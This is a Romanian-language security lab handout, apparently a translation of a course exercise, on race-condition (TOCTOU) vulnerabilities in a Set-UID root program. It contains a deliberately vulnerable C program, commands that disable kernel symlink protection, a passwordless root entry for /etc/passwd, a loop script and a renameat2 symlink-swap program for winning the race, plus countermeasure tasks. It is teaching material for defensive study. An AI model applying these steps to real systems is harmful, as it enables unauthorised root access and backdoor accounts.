Vulnerabilitatea datorată concurenței

1 Scopul lucrării

Obiectivul acestei lucrări de laborator este ca studenții să câștige experiență nemijlocită asupra vulnerabilității datorate concurenței punând în practică ce au învățat despre vulnerabilitate. Situația de concurență apare atunci când mai multe procese accesează și manipulează aceleași date concurent, iar rezultatul execuției depinde de ordinea în care are loc accesul. Dacă un program privilegiat este vulnerabil la concurență, atunci atacatorii pot executa un proces paralel care să ”concureze” cu programul privilegiat, cu intenția de a schimba comportamentul programului.

În acest laborator, studenților li se dă un program care să aibă vulnerabilitatea datorată concurenței; sarcina lor este să dezvolte o schemă de exploatare a acestei vulnerabilități și să obțină privilegii de supervizor (root). Pe lângă atacuri, studenții vor fi ghidați să parcurgă câteva scheme de protecție care pot fi folosite la contracararea atacurilor care exploatează vulnerabilitatea datorată concurenței. Studenții trebuie să evalueze dacă schemele elaborate funcționează sau nu și să explice de ce.

Acest laborator privește următoarele subiecte:

- Vulnerabilitatea din cauza condițiilor de concurs
- Protecția ”sticky symlink”
- Principiul celui mai mic privilegiu

2 Desfășurarea laboratorului

2.1 Setarea inițială

Sarcinile de laborator se pot executa pe mașinile virtuale `Ubuntu` pre-construite. `Ubuntu` 10.10 și versiunile ulterioare se livrează cu un mecanism de protecție construit în sistem care să protejeze mașina de atacurile bazate pe concurență. Schema de protecție folosită funcționează pe baza restrângerii dreptului de a urma o legătură simbolică (symlink). Potrivit documentației, ”legăturile simbolice în directoarele cu bitul SUID setat și care pot fi scrise de toți (d.e. `/tmp`) nu pot fi urmate dacă cel care dorește să urmeze legătura și proprietarul directorului nu se potrivesc cu proprietarul legăturii simbolice.” În acest laborator, avem nevoie să dezactivăm aceasta protecție. Acest lucru se poate realiza folosind una dintre comenzile următoare:

```
// Pentru Ubuntu 12.04, se folosește comanda ($ este command prompt)
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
// Pentru Ubuntu 16.04 se folosește comanda
$ sudo sysctl -w fs.protected_symlinks=0
```

2.2 Un program vulnerabil

Programul care urmează este în aparență un program inofensiv. Însă acesta conține o vulnerabilitate datorată concurenței.

Listing 1: Un program vulnerabil la condiții de concurs

```
/*  vulp.c  */
#include <stdio.h>
#include<unistd.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)) // ❶ verificarea permisiunii de acces
    {
        fp = fopen(fn, "a+"); // ❷ deschiderea fisierului
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}
```

Acesta este un program `Set-UID`, al cărui proprietar este `root`; programul adaugă un șir introdus de utilizator la sfârșitul unui fișier temporar `/tmp/XYZ`. De vreme ce codul rulează cu privilegii de `root`, adică are ID efectiv de utilizator zero, programul poate suprascrie orice fișier. Pentru a preveni scrierea accidentală a fișierelor altora, programul verifică mai întâi dacă ID de utilizator real are permisiunea de acces la fișierul `/tmp/XYZ`; acesta este scopul apelului `access()` din linia ❶. O dată ce programul s-a asigurat că utilizatorul real are într-adevăr dreptul, programul deschide fișierul în linia ❷ și adaugă în fișier ceea ce a introdus utilizatorul.

La prima vedere, se pare că programul nu are nici o problemă. Totuși, există o vulnerabilitate datorată concurenței în acest program: din cauza ferestrei de timp dintre verificare (`access`) și folosire (`fopen`), există posibilitatea ca fișierul verificat de `access` să fie diferit de fișierul folosit de `fopen`, chiar dacă ambele au același nume de fișier `/tmp/XYZ`. Dacă un atacator rău intenționat poate cumva să facă `/tmp/XYZ` să fie o legătura simbolică, legătură care indică spre `/etc/passwd`, atunci atacatorul poate face ca ceea ce introduce utilizatorul să fie adăugat la `/etc/passwd`. Observați că programul rulează cu privilegii de root și, din acest motiv, poate suprascrie orice fișier.

Setarea programului `Set-UID`. Mai întâi trebuie compilat codul din fișierul `vulp.c`, și modificat să fie un program `Set-UID` deținut de `root`. Următoarele comenzi realizează acest lucru:

```
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
```

2.3 Sarcina 1: Alegerea țintei

Dorim să exploatăm o condiție de concurs din programul vulnerabil. Alegem să țintim fișierul de parole, `/etc/passwd`, fișier în care utilizatorii obișnuiți nu au acces în scriere. Prin exploatarea vulnerabilității, dorim să adăugăm o înregistrare în fișierul de parole, cu scopul de a crea un cont de utilizator nou, care are privilegii de `root`. În fișierul de parole, fiecare utilizator are o intrare, care constă din șapte câmpuri separate prin două puncte (`:`). Linia din fișier pentru utilizatorul root este dată mai jos. Pentru utilizatorul `root`, cel de al treilea câmp (câmpul de ID de utilizator) are valoarea zero. Când utilizatorul `root` se loghează, ID-ul de utilizator al procesului său este setat la zero, ceea ce îi dă privilegii de `root`. În esență, puterea lui `root` nu vine din nume, ci din ID-ul său de utilizator. Dacă dorim ca un cont să aibă privilegii de root, trebuie doar să punem zero în câmpul de ID (al treilea câmp):

```
root:x:0:0:root:/root:/bin/bash
```

Fiecare intrare are și un câmp de parolă, care este cel de al doilea câmp. În exemplul anterior, câmpul are valoarea ”x”, lucru care indică faptul că parola este stocată în alt fișier, `/etc/shadow`. Dacă urmăm acest exemplu, atunci va trebui să folosim condiția de concurs pentru a modifica ambele fișiere menționate, lucru care nu e foarte greu de făcut. Cu toate acestea, există o soluție mai simplă. În loc să punem ”x” în fișierul de parole, putem pur și simplu pune parola acolo, astfel încât sistemul de operare să nu o mai caute în fișierul `shadow`.

Câmpul de parolă nu conține parola în clar, ci o valoare de dispersie de unic sens (engl. one-way hash) a parolei. Pentru a obține o asemenea valoare pentru o parola dată, putem adăuga un utilizator nou folosind comanda `adduser` și apoi lua valoarea respectivă din fișierul `shadow`. Sau, mai simplu, putem lua valoarea din intrarea pentru utilizatorul `seed` pentru că știm parola sa: `dees`. Există o valoare magică folosită în CD `Ubuntu` live pentru un cont fără parolă, cu valoarea magică `U6aMy0wojraho` (al șaselea caracter e zero nu litera O). Dacă punem această valoare în câmpul de parola pentru un utilizator, atunci trebuie doar sa tastăm `return` la solicitarea parolei.

Sarcină: Pentru a verifica dacă funcționează parola magică, putem adăuga manual, ca root, intrarea următoare în fișierul `/etc/passwd`. Trebuie să includeți în raport dacă ați reușit să vă logați ca utilizator `test` fără a tasta parola, și să verificați dacă aveți privilegii de supervizor.

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

După efectuarea acestei sarcini, eliminați intrarea din fișierul de parole. La pasul următor trebuie să realizăm acest lucru din postura de utilizator normal. Evident, nu avem voie să acționăm direct asupra fișierului de parole, dar putem exploata o condiție de concurs dintr-un program privilegiat pentru a obține același efect.

Avertizare. În trecut, unii studenți au golit accidental fișierul `/etc/passwd` în timpul atacului (aceasta ar putea fi cauzată de unele probleme legate de starea cursei în interiorul nucleului sistemului de operare). Dacă pierdeți fișierul conținutul lui `/etc/passwd` nu vă mai puteți loga. *Pentru a evita această problemă, vă rugăm să faceți o copie a fișierului original sau faceți un instantaneu (snapshot) al mașinii virtuale.* În acest fel, vă puteți reface cu ușurința starea anterioară accidentului.

2.4 Sarcina 2.A: Lansarea atacului bazat pe condiție de concurs

Scopul acestei sarcini este de a exploata vulnerabilitatea stării rasei în programul vulnerabil `Set-UID` listat mai devreme. Scopul final este de a obține privilegii de root. Cel mai critic pas (să facem ca `/tmp/XYZ` să indice fișierul cu parole) al atacului nostru bazat pe condiții de concurs trebuie să apară în fereastra dintre verificare și utilizare; și anume între apelurile `acces()` și `fopen ()` în programul vulnerabil. Deoarece nu putem modifica programul vulnerabil, singurul lucru pe care îl

putem a face este să rulăm programul nostru de atac în paralel pentru a ”concura” cu programului țintă, sperând să câștigăm cursa, adică schimbarea legăturii din acea fereastră critică. Din păcate, nu putem realiza o sincronizare perfectă. Prin urmare, succesul atacului este probabilistic. Probabilitatea unui atac reușit ar putea fi destul de mică dacă fereastra este mică. Trebuie să vă gândiți cum să creșteți probabilitatea. De exemplu, puteți rulați programul vulnerabil de multe ori; trebuie să obțineți succesul o singură dată din toate aceste încercări.

Crearea legăturilor simbolice. Puteți apela în C funcția `symlink` pentru a crea legături simbolice din program. De vreme ce `Linux` nu permite sa crearea unei legături simbolice care există deja, trebuie mai întâi ștearsă legătura precedentă. Codul C care urmează arată cum se înlătură o legătură simbolică și cum se face ca `tmp/ZYZ` să indice spre `/etc/passwd`.

```
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
```

Puteți, de asemenea, folosi comanda `Linux ln -sf` pentru a crea legături simbolice. Opțiunea ”`f`” înseamnă că, dacă o legătură simbolică există, ea va fi mai întâi înlăturată. Implementarea comenzii ”`ln`” folosește de fapt `unlink` și `symlink`.

Rularea programului de atac. După ce ați implementat programul de atac, ar trebui să îl rulați în fundal și apoi să rulați programul vulnerabil în paralel. Dacă atacul eșuează, programul vulnerabil va eșua (crash), așa că trebuie să rulați programul vulnerabil în mod repetat până când atacul are succes.

Rularea programului vulnerabil și monitorizarea rezultatelor. Deoarece aveți nevoie să executați programul vulnerabil de multe ori, trebuie să scrieți un program pentru a automatiza procesul de atac. Pentru a evita tastarea manuală a intrării în programul vulnerabil `vulp`, puteți utiliza redirecționarea intrării. Vă salvați intrarea într-un fișier, și cereți `vulp` să ia intrarea din acest fișier folosind ”`vulp <inputFile`”. Este posibil să dureze ceva timp până când atacul poate modifica cu succes fișierul cu parolă, așa că avem nevoie de o modalitate de a detecta automat dacă atacul are succes sau nu. Există multe modalități de a face acest lucru; o cale ușoară este să verificăm marca de timp a fișierului. Următorul script shell rulează comanda ”`ls -l`”, care produce mai multe informații despre un fișier, inclusiv timpul ultimei modificări. Prin compararea rezultatelor comenzii cu cele produse anterior, putem spune dacă fișierul a fost modificat sau nu. Următorul script shell rulează programul vulnerabil (`vulp`) într-o buclă, utilizând `passwd_input` ca fișier de intrare. Dacă atacul reușește, adică, `passwd` este modificat, scriptul shell se va opri. Trebuie să aveți puțină răbdare. În mod normal, ar trebui să reușiți în 5 minute.

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ] # Check if /etc/passwd is modified
do
  ./vulp < passwd_input # Run the vulnerable program
  new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

Observație. Dacă după 10 minute, atacul nu reușește, puteți opri atacul și verifica cine este proprietarul fișierului `/tmp/XYZ`. Dacă proprietarul acestui fișier a ajuns să fie root, ștergeți manual acest fișier și încercați atacul din nou, până când atacul are succes. Vă rugăm să documentați această observație în raportul de laborator.

2.5 Sarcina 2.B: O metodă de atac îmbunătățită

În Sarcina 2.4, dacă ați făcut totul corect, dar totuși nu ați reușit în atac, verificați cine deține fișierul `/tmp/XYZ`. Veți afla că `root` a devenit proprietarul lui `/tmp/XYZ` (în mod normal, ar trebui fie `seed`). Dacă se întâmplă acest lucru, atacul nu va reuși niciodată, deoarece programul de atac, rulează cu care privilegiile lui `seed`, nu-l mai poate elimina sau face `unlink()`. Acest lucru se datorează faptului că directorul `/tmp` are un bit „lipicios" (engl. sticky) setat, ceea ce înseamnă că numai proprietarul fișierului poate șterge fișierul, chiar dacă directorul poate fi scris de oricine.

În Sarcina 2.4 am permis să utilizați privilegiile lui `root` pentru a șterge `/tmp/XYZ` și apoi să reîncercați atacul. Condiția nedorită apare în mod aleatoriu, deci prin repetarea atacului (cu „ajutor" de la `root`), puteți reuși în cele din urmă. Evident, obținerea de ajutor de la `root` nu ține de un atac real. Am dori să scăpăm de asta și să reușim atacul fără ajutorul lui `root`. Principalul motiv pentru această situație nedorită este că programul nostru de atac are o problemă, o condiție de concurs, exact problema pe care încercăm să o exploatăm în programul victimă. Principalul motiv pentru care situația se întâmplă este că se schimbă contextul programului de atac imediat după ce se elimină `/tmp/XYZ` (adică, după `unlink()`), dar înainte de a lega numele de un alt fișier (adică, de `symlink()`).

Amintiți-vă că acțiunea de a elimina legătura simbolică existentă și de a crea una nouă nu este atomică (pentru că implică două apeluri de sistem separate), deci dacă schimbarea de context are loc la mijloc (adică imediat după eliminarea lui `/tmp/XYZ`), iar programul `Set-UID` țintă apucă să execute `fopen(fn, "a +")`, atunci acesta va crea un fișier nou cu proprietar `root`. După aceea, programul de atac nu mai poate face modificări la `/tmp/XYZ`.

Practic, folosind abordarea cu `unlink()` și `symlink()`, avem o condiție de concurs în programul de atac. Prin urmare, în timp ce încercăm să exploatăm concursul în programul țintă, acesta poate „exploata" accidental condițiile de concurs din programul de atac, învingându-ne atacul.

Pentru a rezolva această problemă, trebuie să facem operațiile `unlink()` și `symlink()` să fie atomice. Din fericire, există un apel de sistem care ne permite să realizăm acest lucru. Mai precis, ne permite să inter-schimbăm atomic două legături simbolice. Următorul program creează mai întâi două legături simbolice `/tmp/XYZ` și `/tmp/ABC`, iar apoi, folosește apelul de sistem `SYS_renameat2` pentru a le interschimba atomic. Acest lucru ne permite să schimbăm unde indică `/tmp/XYZ` fără a introduce nici o condiție de concurs. Trebuie remarcat faptul că nu există nici o funcție care să împacheteze apelul de sistem `SYS_renameat2` în biblioteca `libc` în Ubuntu 16.04, deci trebuie să invocăm apelul de sistem folosind `syscall()`, în loc să-l invocăm ca un apel funcțional normal. Codul sursă C care urmează realizează acest lucru.

```
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
  unsigned int flags = RENAME_EXCHANGE;

  unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
  unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");

  syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);

  return 0;
}
```

Sarcini. Revizuiți atacul folosind această strategie nouă și reîncercați atacul. Dacă toate sunt făcute corect, atacul ar trebui să reușească.

2.6 Sarcina 3: Contra-măsură: Aplicarea principiului celui mai mic privilegiu

Problema fundamentală a programului vulnerabil din această lucrare este violarea *principiului celui mai mic privilegiu*. Programatorul înțelege că utilizatorul care rulează programul ar putea fi prea puternic, așa că a introdus `access()` pentru a limita puterea utilizatorului. Cu toate acestea, aceasta nu este abordarea adecvată. O mai bună abordare este să aplice principiul celui mai mic privilegiu și anume, dacă utilizatorii nu au nevoie de un anumit privilegiu, privilegiul trebuie dezactivat.

Putem folosi apelul de sistem `seteuid` pentru a dezactiva temporar privilegiul de root și, ulterior, să-l reactivăm, dacă este necesar. Vă rugăm să utilizați această abordare pentru a remedia vulnerabilitatea din program, și apoi să repetați atacul. Veți putea reuși? Vă rugăm să raportați observațiile și să oferiți explicații.

2.7 Sarcina 4: Contra-măsură: folosirea mecanismului încorporat din `Ubuntu`

Ubuntu 10.10 și versiunile ulterioare vin cu o schemă de protecție încorporată împotriva atacurilor condițiilor de rasă. În această sarcină, trebuie să reactivați protecția folosind următoarele comenzi:

```
// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
// On Ubuntu 16.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1
```

Lansați atacul după ce protecția este activată. Vă rugăm să descrieți observațiile dvs. și să explicați și următoarele:

1. Cum funcționează această schemă de protecție?
2. Care sunt limitările acestei scheme?

3 Trimiterea rezultatelor

Trebuie să trimiteți un raport de laborator detaliat, cu capturi de ecran, pentru a descrie ce ați făcut și ce ați observat. De asemenea, trebuie să oferiți explicații pentru observațiile interesante sau surprinzătoare. Vă rugăm, de asemenea, să includeți fragmentele de cod importante, urmate de explicații. Anexarea codului fără explicații nu va fi luată în considerare.